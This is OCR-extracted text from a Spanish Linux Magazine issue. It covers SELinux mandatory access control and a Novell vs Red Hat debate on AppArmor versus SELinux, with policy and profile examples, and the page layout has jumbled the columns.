provs. SELinux de este mismo número de n gramas que sean accesibles desde la red o Linux Magazzine. programas que tengan que procesar datos desde fuentes de poca confianza (emails, RECURSOS
Listado 3: Subperfil de Apache 01 02 03 04 05 06 07 08 09 10 11
<I>[...]<I> ^/squid/index.php { #include <abstractions/bash> #include <abstractions/nameservice> /bin/bash ixr, /dev/tty rw, /etc/ld.so.cache r, /lib/ld-2.3.90.so ixr, /lib/lib*so* r, /srv/www/htdocs/squid/cache.inc.p hp r,
12
php r, 13 /srv/www/htdocs/squid/default_con fig.inc.php r, 14 /srv/www/htdocs/squid/index.php r, 15 /srv/www/htdocs/squid/parse_squid _row.inc.php r, 16 /tmp/access.log_1.3.0.incr, 17 /usr/bin/tail ixr, 18 /var/log/apache2/access_log w, 19 /var/log/squid r, 20 /var/log/squid/access.log r, 21 }
Número 22
[2] Lista de correo de AppArmor: http:// forge.novell.com/mailman/listinfo/ apparmor-general [3] AppArmor RPMs en Novell Forge: http://forge.novell.com/modules/ xfmod/project/?apparmor [4] Repositorio del Kernel: http://www. kernel.org [5] Parches para el kernel de AppArmor de la imagen de Enero: http://forgeftp. novell.com/apparmor/ Development%20-%20January%20Sn apshot/ [6] Squidfire: http://squidfire.sourceforge. net [7] Systrace: http://www.systrace.org
/srv/www/htdocs/squid/config.inc.
20
[1] AppArmor: http://www.opensuse.org/ AppArmor
WWW.LINUX-MAGAZINE.ES
SELinux • PORTADA
Control de Acceso Obligatorio con SELinux
SEGURIDAD ENDURECIDA SELinux ofrece un sistema de Control de Acceso Obligatorio para Linux, si estás dispuesto a entrar a fondo. POR RALF SPENNEBERG
S
ELinux es una adaptación del kernel de Linux reforzada en cuanto a seguridad, desarrollada bajo los auspicios de la Agencia de Seguridad Nacional (NSA) estadounidense. Según la NSA, SELinux trabaja reforzando las políticas de control de acceso que confinan los programas de usuario y los servidores del sistema al mínimo nivel de privilegio que necesiten para hacer su trabajo. La seguridad de un sistema ordinario de Linux se basa en un concepto conocido como Control de Acceso Discrecional (DAC). En un sistema DAC, al usuario se le concede el acceso a un recurso (como un archivo o un directorio) en función de sus credenciales de usuario, y los usuarios tienen la discreción de modificar los permisos de cualquier recurso al que traten de controlar. Este diseño proporciona a un potencial atacante medios suficientes para lograr la entrada a un sistema. Si el usuario root inicia el Adobe Reader para acceder a un PDF de una fuente no fiable, un atacante podría explotar una vulnerabilidad para lanzar una shell de root, incluso aunque las shells de root no tengan nada que ver con lo que supuestamente está haciendo Adobe Reader.
SELinux y otro sistema de seguridad similar reemplazan al sistema DAC con una alternativa mucho más segura conocida como Control de Acceso Obligatorio (MAC). Un sistema MAC permite que el administrador del sistema defina políticas que proporcionan un control mucho más preciso sobre la capacidad del usuario para acceder a recursos y modificar permisos. SELinux mantiene también el control sobre el rango de privilegios asignados a un proceso. Al proceso no se le permite tener privilegios que no necesite. Si SELinux está implementado correctamente, un intruso que consiga acceder al sistema Linux se verá severamente limitado en cuanto a las acciones que puede realizar una vez dentro. Como veremos en este artículo, SELinux proporciona un marco de seguridad verdaderamente potente y versátil, si estamos dispuestos a lidiar con la complejidad que pueda suponer conseguir un sistema correctamente configurado.
Contexto de Seguridad SELinux usa contextos de seguridad como criterio básico de acceso. El contexto consiste un una cuenta de usuario de SELinux
WWW.LINUX- MAGAZINE.ES
(no confundir con el usuario Unix), junto con el rol de usuario y el tipo. SELinux guarda el contexto de seguridad de los archivos directamente en el sistema de archivos, aunque este método sólo funciona con Ext 3 y XFS en el momento de escribir este artículo. Existen parches para Reiser FS, pero JFS no está soportado todavía. Si hacemos ls -Z obtendremos el contexto de seguridad de un archivo: la Figura 1 muestra user_u:object_r:paper_t. El usuario y grupo de Unix es spenneb, mientras que SELinux identifica al usuario como user_u. El rol del usuario es object_r y el tipo paper_t. El sufijo para estos nombres indica el componente de contexto. A los procesos se les asigna también un contexto de seguridad, que podemos visualizar si ejecutamos ps -Z (véase la Figura 1).
Deniega Todo Uno de los principios de SELinux es que cada proceso está asociado con un type (tipo). SELinux comienza por denegar toda clase de acceso por defecto. Incluso el acceso del dominio example_t al tipo example_t está prohibido. Cada acción debe ser autorizada explícitamente. La
Número 22
21
PORTADA • SELinux
Figura 1: SELinux asigna todos los archivos y procesos a un contexto de seguridad. El contexto y la política deciden qué tipo de acceso está permitido.
política puede ser semejante a esta del dominio emacs_t: allow emacs_t paper_t:file {create ioctl read getattr U lock write append setattr};
Esto permite a los procesos del dominio emacs_t realizar las operaciones entre corchetes en los objetos de tipo paper_t. La clase del objeto :file especifica que estos objetos deben ser archivos normales.
Cambiar Dominios Si un usuario normal inicia el editor Emacs, el proceso no usa el dominio emacs_t de manera automática. De hecho, se requieren permisos para cambiar los dominios, y el proceso está automatizado. Para permitir que esto ocurra, previamente una regla define un punto de entrada al nuevo dominio del binario del editor Emacs. El archivo del programa necesita el tipo emacs_exec_t (como etiqueta del sistema de archivos) y SELinux requiere la siguiente regla: allow emacs_t emacs_exec_t:U file entrypoint;
SELinux permite ahora a los ejecutables de tipo emacs_exec_t que entren en el dominio emacs_t cuando se inicien. Hasta este momento todo conforme, pero SELinux aún tiene que permitir al llamante que efectúe esta acción. Como el llamante se ubica en otro dominio, se produce un cambio de dominio cuando se inicia el proceso. Se necesitan una regla de permiso y una regla de transición de tipo para poder realizar esta operación:
tipo que está a continuación especifica que los procesos llamados serán asignados al dominio emacs_t, en lugar de heredar el dominio del llamante, en el caso de que el archivo del programa sea del tipo emacs_exec_t. Esto sólo se aplica si el llamante pertenece a userdomain. Para permitir a SELinux que despliegue estas reglas en un sistema, todos los archivos deben estar asignados al contexto adecuado en un proceso que se denomina etiquetado. Archivos *.fc o de contexto de archivos especifican qué archivo recibe qué etiqueta: /usr/bin/emacs(.*) — U system_u:object_r:U emacs_exec_t
Cuando un usuario en algún lugar del sistema crea un archivo que coincide con el patrón, SELinux le asigna el tipo de contexto emacs_exec_t.
Complejidad Este ejemplo demuestra claramente el control tan detallado de SELinux, y la consiguiente complejidad. Un administrador a tiempo parcial no podría llevar el control. Una política de SELinux puede alcanzar fácilmente los 6MB (¡sólo en reglas, y en ASCII!). Los desarrolladores han intentado hacer algo para paliar el problema de la complejidad desde hace bastante tiempo.
Fedora Core es una de las distribuciones líderes con SELinux. Hasta la versión 4, Fedora tenía dos políticas: Strict y Targeted. Mientras que la política Strict implementaba realmente un sistema MAC para cada proceso en el sistema, la política Targeted inspeccionaba algunos servicios que usaban información potencialmente crítica, fundamentalmente servicios de red. El resto de procesos de Fedora Core se ejecutaban en un dominio especial unconfined_t igual al de cualquier otro sistema sin SELinux. A los procesos del dominio Unconfined se les permite más o menos cualquier tipo de acceso, ya que sólo son operativos los privilegios del DAC normal del sistema. El método de SELinux es similar al de AppArmor en este modo. Sin embargo, SELinux en Fedora Core 4 aún necesita una política de 2.25MB en ASCII en el modo Targeted para alcanzar los niveles de detalle requeridos.
Administración La estructura monolítica de las políticas hace que sean difíciles de administrar. Los cambios y añadidos a la política implican siempre cambiar el código fuente y recompilar el binario. Por supuesto, este tipo de cambios es sólo para administradores. Para facilitar las cosas a los administradores de sistema, las políticas pueden contener variables Boleanas para aquellos valores que puedan cambiar en tiempo de ejecución. Por ejemplo, la política Targeted en Fedora Core 4 tiene al menos 95 variables que definen si SELinux monitoriza un servicio y cómo se realizará esa monitorización. Por ejemplo, la variable httpd_can_network_connect especifica si al servidor Web le está permitido establecer conexiones de red por sí mismo a una base de datos, por ejemplo. Las variables bolea-
allow { userdomain } U emacs_t:process transition; type_transition { userdomain }U emacs_exec_t:process emacs_t;
La regla allow permite a todos los procesos que pertenezcan a un dominio de la lista userdomain a lanzar nuevos procesos en el dominio emacs_t. La regla de transición de
22
Número 22
Figura 2: audit2allow le indica a SELinux que analice trazas de auditoría cuando han ocurrido eventos que infringen la política.
WWW.LINUX- MAGAZINE.ES
SELinux • PORTADA
propia documentación de la interfaz. Podemos generar tanto una política Strict como una poñitica Targeted desde la política de referencia. Fedora Core 5 fue la primera distribución en introducir esta nueva tecnología. Mientras que la política Targeted sólo tiene dos módulos, base.pp y enableaudit.pp, la política Strict comprende no menos de 149 módulos binarios. En cuanto a las dependencias, semodule carga estos módulos.
Nuevos Módulos
Figura 3: El IDE de SELinux, Slide, proporciona acceso al modular SELinux Reference Policy. Slide está implementado como un plugin de Eclipse.
nas le impedirán delegar tareas administrativas a otros usuarios.
Política de Referencia La distinción entre las políticas Strict y Targeted plantea un problema: es prácticamente imposible intercambiar reglas entre políticas. Tresys ha desarrollado la SELinux Reference Policy para solventar el problema. La política de referencia de
SELinux tiene muchos objetivos, pero su propósito más importante es alcanzar un alto nivel de modularidad. La idea es dar a los administradores la capacidad de cargar, descargar y reemplazar módulos en tiempo de ejecución. Para soportar la comunicación entre módulos, cada módulo define su propia interfaz. Para mejorar la usabilidad y hacer que los módulos sean más fáciles de comprender, cada módulo viene con su
Un problema típico que aparece cuando usamos SELinux es el de generar una nueva política para un nuevo programa. Las extensiones como éstas ya son posibles con módulos binarios, y esto elimina la necesidad de pasarle el juego completo de reglas puestas al día a SELinux. Un módulo comprende tres archivos: • modul.fc • modul.te • modul.if El archivo FC contiene los contextos del archivo que definen cómo va a etiquetar SELinux cada uno de los archivos. El archivo TE contiene las reglas de ejecución del tipo. El archivo IF es nuevo, y contiene la definición de la interfaz del módulo y documentación adjunta. Aunque el administrador puede escribir estos archivos desde cero, Fedora Core 5
Seguridad Multinivel Aunque la seguridad multinivel (MLS) es una de las características centrales de SELinux, ésta se etiquetó como experimental durante muchos meses. La política de referencia es la primera política MLS y soporta el modelo Bell-La-Padula, que se inventó en 1973 para ayudar a mantener secretos militares. Básicamente, el modelo asigna alcance y capacidades a sujetos, mientras que los objetos tienen alcance y rankings. El modelo asegura que un objeto dentro de su alcance puede ser leído sólo por sujetos con capacidades iguales o mayores. Sólo se puede escribir en los objetos si el sujeto tiene igual o menor ranking. Cuando una persona con un rank mayor crea un archivo, este archivo sólo puede leerse por personas con igual o mayor autorización para eavitar que información sensible caiga en las manos equivocadas. Para implementar MLS, el contexto de seguridad tiene dos parámetros adicionales: niveles MLS (Levels) desde el s0
al s15 y rangos MLS (Ranges) desde el c0 al c255. Seguridad Multicategoría Como casi nadie necesita un diseño MLS, aparte de las fuerzas armadas y servicios secretos, los desarrolladores han añadido el concepto de Seguridad de Multicategoría (MCS) a su política de referencia. El MCS suaviza la funcionalidad MLS. Todos los objetos se asignan al nivel s0 de MLS. El administrador del sistema puede seleccionar libremente las categorías para otros objetos. Para respaldar los números con descripciones intuitivas, los administradores pueden incluso asignar nombres a estas categorías en el archivo setrans.conf: s0:c0=Confidential s0:c1=Development s0:c2=HumanResources Después de asignar nombres a las categorías, el comando chcat entiende los nombres y las categorías y puede asig-
WWW.LINUX- MAGAZINE.ES
narlas a archivos: chcat — +Confidential U /tmp/file.txt Mientras que el archivo tenía anteriormente un contexto de seguridad de
root:object_r:tmp_t:, ahora tiene un contexto de root:object_r:tmp_t:Confidential. El comando chcat puede asignar también usuarios a una categoría. Cada archivo que cree el usuario desde ese momento tendrá la categoría MCS. A los usuarios sin asignación de categoría no se les permite acceder al archivo. Mientras que esta función es similar a ACLs (Access Control Lists) de Posix, MCS tendrá más funcionalidades en el futuro. Por ejemplo, un sistema de impresión puede provocar una advertencia al imprimir algún documento concreto, en función de la categoría. Un cliente de correo electrónico podría negarse a enviar documentos desde una categoría específica.
Número 22
23
PORTADA • SELinux
tiene un script llamado policygentool para ayudarnos a simplificar el proceso. La política de generación de herramientas espera que el administrador del sistema proporcione el nombre del módulo a crear, junto con la ruta al programa que gobierna el módulo. La herramienta realiza al administrador algunas preguntas más antes de crear los archivos de configuración y el módulo ya completado. Si preferimos la opción de crear los módulos de manera manual desde los tres archivos, podemos ejecutar checkmodule para compilar el archivo TE, y usar entonces semodule_package para compilar el archivo del módulo foo.pp, que podemos cargar ejecutando semodule -i foo.pp.
Modo de Entrenamiento En lugar de intentar compilar de manera manual los detalles de una política, tiene más sentido crear reglas basadas en mensajes de auditoría registrados por acceso denegado. Y esto es exactamente lo que hace el comando audit2allow. De hecho, lo que hace es implementar una especie de modo de entrenamiento. El resultado es reglas SELinux que permiten exactamente los tipos de acceso que la herramienta estaba prohibiendo y registrando. Con gran sensatez, el comando audit2allow se ejecuta en modo permisivo de SELinux, en el que el sistema simplemente registra las violaciones de la política sin denegarlas. Una versión del comando audit2allow modificada para la política de
IDEs Hay un buen número de interfaces gráficas disponibles para la administración de SELinux. Slide (véase Figura 3) es el primer GUI para la política de referencia. Tresys Technology ha implementado este IDE como un plugin de Eclipse que soporta el destacado de sintaxis, asistentes y autocompletado de etiquetas predefinidas en la interfaz del módulo. La instalación requiere el SDK 3.1 de Eclipse, la política de referencia y las SE Tools. La manera más fácil de instalar Slide es a través de un RPM o directamente usando Eclipse desde su página Web [8]. Tras la instalación, deberíamos tener un IDE bien definido y ordenado que tiene algún punto flaco, pero que aún así nos hace el trabajo mucho más llevadero, aunque está sólo en la versión 0.1.0.
24
Número 22
referencia, soporta también la generación directa de módulos. La Figura 2 muestra audit2allow en plena acción. Si Auditd no se está ejecutando, SELinux envía mensajes a /var/log/messages. La orden semodule -i local.pp carga y ejecuta en ese momento el nuevo módulo. Es posible realizar cambios a mano al archivo TE, algo razonable, aunque puede ser una buena idea verificar los resultados con cuidado.
MAC por MAC En el momento de escribir este artículo, el administrador del sistema es el único que puede cambiar y recargar las políticas de SELinux. Mientras que este era el único método con el diseño monolítico de la tecnología antigua soportada, la nueva política de referencia con su estructura modular ofrece al administrador la posibilidad de asignar diferentes atributos de acceso a los archivos de políticas de módulos. Hasta este punto, un proceso con la capacidad de cargar una política tiene también la capacidad de modificar la política al completo. La estructura modular soporta ahora un nuevo método, para el que Tresys Technology ha desarrollado un servidor de políticas para SELinux: el SELinux Policy Server. Junto al los objetivos ya mencionados, el servidor de políticas trata de alcanzar otras dos metas: soportar nuevos objetos administrados por aplicaciones en espacio de usuario, incluyendo bases de datos y tablas de bases de datos. Además, el servidor de políticas va a soportar una infraestructura mejorada para la administración centralizada de políticas en múltiples sistemas. La versión previa ya soporta la idea de políticas que permiten cambios específicos en sí mismas. Los desarrolladores han introducido el nuevo comando policycon que aplica un contexto de seguridad a módulos de políticas concretas. Entonces es posible permitir a nuestra propia política que se modifique a sí misma. De nuevo, el comando semodule administra esto, comunicándose con el servidor de políticas en espacio de usuario para ello. Los programadores aún desaconsejan ejecutar un servidor de políticas en entornos de producción, y desafortunadamente, el ritmo de desarrollo se ha ralentizado un poco últimamente.
Desarrollo Alrededor de SELinux se ha formado una impresionante comunidad de desarrollado-
WWW.LINUX- MAGAZINE.ES
res y usuarios. El SELinux Symposium [7] tiene lugar cada dos años. El de este año tuvo lugar en febrero, con 29 conferencias y 5 tutoriales acerca de SELinux, a lo largo de 3 días. Las diapositivas de las conferencias están disponibles desde la página Web del simposio. El trabajo de desarrollo actual se está concentrando en añadir el entorno de trabajo IPsec a SELinux. Esto le permitiría monitorizar el tráfico de información a la red. Algunos de estos desarrollo han visto la luz en el kernel 2.6.16 [10]. Muchos administradores están preocupados por introducir vulnerabilidades al usar SELinux. La enormes políticas, que son complicadas de comprender en su integridad, contribuyen a esta sensación de incertidumbre. Sin embargo, un sistema MAC como SELinux está destinado a mejorar la seguridad de nuestro sistema si se configura adecuadamente. Y recuerde que SELinux no puede dar privilegios a un proceso que no tuviera sin el sistema MAC. SELinux no es el único responsable de permitir o denegar accesos. El sistema DAC normal de Linux tiene también que aprobar el tipo de acceso en función de los criterios de herencia. Esperemos que los desarrolladores de SELinux continúen trabajando duro en la usabilidad una vez que ya han puesto las bases para un sistema más usable, mucho más modularizado y con servidor I de políticas.
RECURSOS [1] Página de la NSA sobre SELinux: http://www.nsa.gov/selinux/ [2] SELinux para distribuciones: http:// selinux.sourceforge.net [3] SELinux Reference Policy: http:// serefpolicy.sourceforge.net [4] Tresys: http://www.tresys.com [5] SLIDE: http://selinux-ide.sourceforge. net [6] Servidor de políticas de SELinux: http://sepolicy-server.sourceforge.net [7] SELinux Symposium: http://www. selinux-symposium.org [8] SLIDE: http://www.tresys.com/files/ eclipse-update/ [9] Introducción a MCS: http:// james-morris.livejournal.com/8228. html [10] SELinux para IPsec: http://marc. theaimsgroup.com/ ?l=linux-netdev&m=11323409701113 3&w=2
AppArmor vs. SELinux • PORTADA
Los expertos en seguridad de Novell y Red Hat cara a cara con AppArmor y SELinux
APPARMOR VS SELINUX ¿Security Enhanced Linux o AppArmor? Linux Magazine ha invitado a dos personajes bien conocidos de Red Hat y Novell para debatir los méritos de sus sistemas de seguridad. POR ACHIM LEITNER
N
ovell y RedHat están actualmente en plena guerra para establecer sus respectivos productos como sistemas de protección Linux. Mientras RedHat adoptó hace unos años SELinux, Novell ha presentado su sistema de protección AppArmor tras adquirir Immunix. Ambos se presentan con licencia GPL y comparten un objetivo común: hacer que Linux sea más seguro y proporcionar a los administradores un mayor control sobre los privilegios de las aplicaciones. Le hemos pedido a los representantes de Novell y Red Hat que nos expliquen por qué sus sistemas de seguridad son los mejores. Crispin Cowan, que llegó a Novell desde Immunix, nos expondrá primero las ventajas de AppArmor. Luego, Daniel Riek explicará por qué Red Hat apuesta por SELinux.
Crispin Cowan, Novell AppArmor [1] y SELinux comparten los mismos objetivos de mejorar la seguridad de Linux, pero la forma de llevarlo a cabo es dife-
rente. AppArmor proporciona seguridad a nivel de aplicaciones, protegiéndolas contra defectos latentes y protegiendo al sistema completo contra amenazas particulares como los ataques de red, protegiendo a todas las aplicaciones que hacen de interfaz de red. SELinux, por el contrario, se encarga de todo el sistema, incluyendo propiedades como los flujos de información. Paga el precio de la complejidad del software resultante. La restrictiva política que SELinux proporcionó al principio era demasiado estricta para ser útil y por ello se ha ido moviendo hacia un modelo parecido al de AppArmor, con políticas orientadas al objetivo que simulan el modelo de control de acceso por aplicaciones de AppArmor. Ésta última permite a los administradores confinar las aplicaciones en términos
WWW.LINUX- MAGAZINE.ES
familiares: se especifica la aplicación que se desea confinar y los ficheros que van a ser accedidos con sus rutas absolutas, seguidos por los modos familiares de acceso de lectura y escritura. Se pueden realizar autorizaciones de acceso a grupos de ficheros utilizando los comodines típicos de la shell, por ejemplo /home/*/public_html/*.*.html r permite el acceso a todos los ficheros .html en los directorios public_html de todo el mundo. Figura 1: Crispin Cowan: “La simplicidad es el alma de la seguridad…SELinux ha sido diseñado para satisfacer los deseos de la NSA para las políticas complejas arbitrarias a expensas del uso… AppArmor fue diseñado para el uso, conociendo las necesidades de la mayoría de los usuarios Linux”.
Número 22
25
PORTADA • AppArmor vs. SELinux
Crispin Cowan Crispin Cowan fue el CTO y fundador de la empresa Immunix, Inc., recientemente adquirida por Novell. Trabaja actualmente como arquitecto en Novell con respecto a la seguridad de las plataformas Linux y las aplicaciones que esta empresa ofrece para Linux, y con especial atención al producto AppArmor que llegó con la adquisición de Immunix. Desarrolló varias tecnologías de seguridad para los equipos, incluyendo el compilador StackGuard que defiende a las aplicaciones de los desbordamientos
de búfer y la interfaz LSM (Linux Secu-
Por el contrario, SELinux aplica etiquetas a los ficheros y a los procesos, y define las políticas de seguridad en términos de qué etiquetas pueden accederse desde otras etiquetas. Los controles de acceso basados en etiquetas es una técnica establecida desde 1970, sin embargo, las etiquetas generalmente ocultan la facilidad de uso: • Hay que etiquetar el sistema de ficheros y crear políticas de seguridad en pasos separados, creando dependencias circulares para el usuario entre las especificaciones de etiquetas y las especificaciones de las políticas. • Algunas aplicaciones como tar no preservan las etiquetas, así que los datos archivados y restaurados con tar perderán sus etiquetas. • Los sistemas de ficheros NFS no soportan etiquetas, así que el sistema de ficheros al completo obtiene una única etiqueta. Por ello todos los sistemas de ficheros de red obtienen una política de todo o nada: cada aplicación podrá o bien acceder a todo el sistema de ficheros o bien no acceder a él. La simplicidad es el alma de la seguridad: cuanto más complejo sea el sistema, más probabilidades habrá de que esté mal configurado. Y lo peor de todo, si la política de seguridad no se comprende, entonces no se puede decir que sea una política en absoluto; es una caja negra que se espera que proporcione alguna protección, pero sin saberlo realmente.
A pesar de la relativa simplicidad de AppArmor, puede también proporcionar una protección de seguridad que SELinux no puede, ofreciendo confinamiento de subprocesos que forman parte de un proceso, algo que SELinux acaba de incorporar. Sin embargo, AppArmor también viene con un módulo para que Apache pueda usar esta característica, de modo que los usuarios puedan crear perfiles de AppArmor para elementos tan específicos como la ejecución de un script de perl por mod_perl o incluso una página PHP individual. No conozco otra tecnología que pueda confinar páginas PHP individuales.
Sencillez AppArmor es considerablemente más sencillo que SELinux. Esto puede verse en el vídeo de Fosdem [2], donde una política para Apache se realiza en cinco minutos. El fichero de política de AppArmor para Apache tiene 133 líneas, mientras que el correspondiente a la política de Apache de SELinux tiene 826 líneas. Magnus Runesson informó que pudo portar AppArmor a Ubuntu en menos tiempo del que le llevó comprender y modificar la política de SELinux.
26
Número 22
rity Modules) de Linux 2.6. El Dr. Cowan también es coinventor del método “time-to-patch” que evalúa cuándo es seguro aplicar un parche de seguridad. Antes de la fundación de Immunix, fue profesor en el departamento de informática e ingeniería de la universidad de Oregón. Tiene un doctorado por la universidad de Ontario Occidental y un
seguridad no se despliegue del todo y SELinux se deshabilita con frecuencia cuando los usuarios encuentran que la política es difícil de gestionar. AppArmor se diseñó para que fuese fácil de utilizar, para adaptarse a las necesidades de la mayoría de los usuarios de Linux, ya sean domésticos o profesionales. Tan sólo hay que probarlo por uno mismo: AppArmor está disponible para Slackware, Ubuntu, Gentoo, Red Hat, Pardus y se encuentra integrado en todas las versiones nuevas de Suse Linux para las arquitecturas x86, x86-64, Itanium, Power y las series Z.
máster en matemáticas por la universidad de Waterloo.
Sin Necesidad de Cambios AppArmor es transparente a las aplicaciones. No hay que realizar modificaciones a las aplicaciones para utilizarlo, excepto para el confinamiento de subprocesos, que requiere algo de cooperación del proceso protegido. Esa cooperación se consigue utilizando un módulo si la aplicación soporta módulos. Si AppArmor se elimina de forma abrupta, el sistema continua funcionando idénticamente de la misma forma que lo hacía con él, excepto que ahora será más vulnerable a los ataques. SELinux sólo puede aplicar algunas de sus características a las aplicaciones que no hayan sido modificadas; el conjunto completo de características sólo estará disponible si se vuelve a enlazar la aplicación con la librería libselinux, que está disponible para las aplicaciones de código abierto, pero no para las aplicaciones propietarias de las empresas.
Es Preferible AppArmor AppArmor y SELinux proporcionan seguridad de alta calidad. Pero parece que SELinux ha sido diseñada para ajustarse a los deseos de la NSA con políticas de complejidad arbitraria a expensas de su facilidad de uso. Un sistema difícil de usar es algo crítico, porque a menudo hace que la
WWW.LINUX- MAGAZINE.ES
Daniel Riek, Red Hat SELinux aplica un control de acceso estricto basado en MAC a nivel del kernel (véase el artículo sobre SELinux), mitigando el impacto de los ataques que tengan éxito, garantizando la confidencialidad de los datos y cubriendo la demanda de seguridad compleja gracias a los cambios de dominio dependientes del contexto. La primera empresa que anunció su soporte en productos comerciales fue Novell, aunque esto no significó que ellos proporcionaran una política adecuada para su uso en sistemas de producción. En este punto, la política no era adecuada para un mercado amplio: demasiado estricta y demasiadas restricciones para las aplicaciones de usuario. Fue Red Hat quien lanzó la primera versión madura del producto y lista para utilizarse en sistemas de producción. Cada instalación de Red Hat Enterprise Linux 4 y Fedora, habilita SELinux para los servicios de red centrales por defecto.
La Comunidad Global SELinux está soportada por una comunidad amplia y activa. Además de los usuarios no comerciales y los proveedores, la comunidad incluye a Red Hat, IBM, HP, NSA, DOD, Tresys y Trusted Computing Systems. Todas estas organizaciones cooperan en la implantación de políticas seguras, desarrollando una infraestructura potente de auditoría y herramientas de desarrollo de políticas [4], proporcionando soporte ante los problemas e informando a los usuarios. En contraste con esto, Novell abandonó el proyecto SELinux el año pasado y empezó a promocionar AppArmor, que adquirió recientemente de Immunix, como una alternativa más sencilla. En vez de investigar en cooperación con la comunidad OSS y ayudar a hacer que SELinux sea más fácil de utilizar, decidió dividir la arquitectura de seguridad de Linux y pasarle la responsabilidad a los desarrolladores y usuarios, en una solución que recuerda Dan Walsh, el presidente de desarrollo de SELinux en Red Hat, y otros, de los problemas de Unix [5].
AppArmor vs. SELinux • PORTADA
Figura 2: Daniel Riek: “… desearía tener los datos de su tarjeta de crédito almacenados en un servidor cuya política de seguridad se haya creado por un usuario novato utilizando Yast y el modo de ‘queja’ de AppArmor?”
El FAQ de AppArmor dice lo siguiente acerca de la seguridad: “Utilizando la GUI de Yast, es una tarea bastante sencilla para un usuario sin experiencia desarrollar perfiles de seguridad, mientras que los usuarios expertos tienen la flexibilidad de poder crear perfiles más precisos”. Pero ¿realmente desearía tener los datos de su tarjeta de crédito almacenados en un servidor cuya política de seguridad se haya creado por un usuario novato utilizando Yast y el modo de “queja” de AppArmor? Al contrario que esto, Red Hat se centra en un uso profesional. Los fabricantes de software proporcionan políticas SELinux verificadas que los clientes configuran dentro del marco de trabajo de parámetros validados.
Más Desde luego que AppArmor es más sencillo de configurar porque se centra en un grupo más reducido de problemas de seguridad. El FAQ incluso se jacta de que AppArmor no garantiza la confidencialidad de los datos, al contrario que SELinux, diciendo que esta característica sólo es útil para los servicios secretos. No hay ni una palabra mencionando los datos de las tarjetas de crédito, los datos de los clientes, los registros médicos, las cuentas bancarias, Basel II y la conformidad con Sabranes-Oxley… Y la crítica sobre que se tienen que recompilar las aplicaciones para SELinux no es correcta. Con SELinux, el contexto de la seguridad después de ejecutar un proceso nuevo depende de quien ejecutó el proceso y en que contexto. Para ello no hay necesidad de cambiar la aplicación y los contextos de seguridad están bien definidos. Sólo unos pocos programas requieren modificaciones. Las restricciones de subprocesos de AppArmor permiten ejecutar, por ejemplo, los scripts PHP vía mod_php en un contexto diferente del de Apache, aunque ambos se ejecutan en el mismo proceso. El FAQ menciona que esto solamente es posible con una versión especial de Apache con modificaciones de Novell. Dicho de otro modo, AppArmor requiere también que se recompile la aplicación alguna que otra vez. El diseño de AppArmor tiene enormes desventajas: No hay nada que pare el código malévolo
inyectado por un atacante dentro del contexto de PHP ejecutándose dentro del contexto de Apache. Después de todo, usan el mismo sector de memoria. El impacto del código de un exploit no puede proporcionar seguridad. Además este escenario permite obtener privilegios. Ésto es un fallo, no una característica.
Etiquetas vs Rutas La situación con el argumento del sistema de ficheros es similar: SELinux utiliza etiquetas de seguridad, que se almacenan como atributos extendidos de los objetos del sistema de ficheros. Novell ve esto como una extensión que sólo está soportada por algunos sistemas de ficheros específicos. De hecho, los atributos extendidos son una característica estándar de la que tan sólo unos pocos sistemas de ficheros carecen y es un argumento más en contra del favorito de Novell, Reiser FS. AppArmor utiliza las rutas de los ficheros en sus perfiles, pero no puede garantizar su seguridad. Mientras que la etiquetas de seguridad enlazadas con los inodos de SELinux se refieren a los objetos reales del sistema de ficheros, las rutas de los nombres de los ficheros de AppArmor utilizan una capa de abstracción que no necesariamente refleja el sistema de ficheros real. Los enlaces simbólicos son un ejemplo de estos problemas. Un objeto puede utilizar múltiples rutas de fichero y por ello ser gobernados por diferentes políticas. La cuestión es si esto puede ser considerado con MAC (Mandatory Access Control).
Una Cuestión de Flexibilidad La afirmación de que AppArmor es más flexible que SELinux no está basada en ninguna prueba. Una configuración de AppArmor puede se modificada más rápidamente, porque define a un sistema menos seguro. Pero esto no tiene nada que ver con la flexibilidad. El diseño de perfiles unidimensionales de AppArmor no proporciona el mismo nivel de seguridad y flexibilidad que el cambio de contexto dinámico que SELinux proporciona. Un programa se puede ejecutar con diferentes privilegios dependiendo de quien lo ejecute y del contexto. Esto permite tener perfiles de seguridad extremadamente flexibles. La arquitectura de SELinux es también adecuada para diseños de seguridad que vayan más allá de MAC. Y las implementaciones MLS y MCS proporcionan una prueba amplia de que el diseño funciona (véase el artículo de SELinux). Ambos almacenan atributos como atributos extendidos del sistema de ficheros y por ello soporta la integración con la política de SELinux. ?
WWW.LINUX- MAGAZINE.ES
Daniel Riek Daniel Riek (Figura 2) ha sido el director de producción de Red Hat Linux desde comienzos de 2006. Entró en la empresa a mediados de 2003. Antes de pasarse al desarrollo de productos, fue arquitecto de soluciones y proporcionaba servicios de asesoría preventa a los clientes. Fundó ID-PRO, un proveedor de servicios de Internet y GNU/Linux, mientras estudiaba informática en la universidad de Bonn, Alemanía, haciendo que la empresa creciera hasta hacerse internacional. En 2001 abandona ID-PRO para pasarse a la proveedora de servicios de software francesa Alcove, donde se convirtió en el responsable de las actividades de esta compañía en Alemanía y principalmente se encargaba de negociar con las cuentas claves de IT y bancarias. Riek fue miembro del boletín de la asociación LIVE Linux durante bastantes años y representante de la organización.
Es Preferible SELinux SELinux posee una implementación más consistente de MAC como un producto estándar actual. Se deriva de un entendimiento fundamental de la forma en la que los ataques se llevan a cabo en los sistemas IT. Es decir, los hackers siempre van un paso más allá en la carrera por descubrir el próximo exploit. La arquitectura necesita tener esto en cuenta y garantizar que incluso si un hacker tiene éxito, no vaya a ocasionar problemas serios. La decisión de SELinux o AppArmor es la elección entre una arquitectura de seguridad fiable por un lado y por otro lado una serie de mejoras locales ad hoc. Las demandas de seguridad típicas realizadas por los usuarios de Red Hat Enterprise Linux tan sólo pueden ser conseguidas de manera fiable utilizando un sistema más complejo como SELinux. I
RECURSOS [1] AppArmor: http://www.opensuse.org/ AppArmor [2] Video de AppArmor: ftp://ftp. belnet. be/pub/mirror/FOSDEM/ FOSDEM2006-apparmor.avi [3] SELinux: http://www.nsa.gov/selinux/ [4] Politicas de desarrollo de SELinux: http://selinuxnews.org [5] Entrevista con Dan Walsh: http:// danwalsh.livejournal.com/424.html
Número 22
27
EVALUACIÓN • Libros
Informática GNU/Linux - ESO
LIBROS Con la introducción de Linux en las aulas se hace imperiosa la producción de material educativo que dote a los profesores de las herramientas necesarias para desarrollar adecuadamente su labor. La primera editorial que ha decidido darle forma a una serie de materiales diseñados específicamente para los centros escolares ha sido McGraw Hill. POR PAUL C. BROWN
I
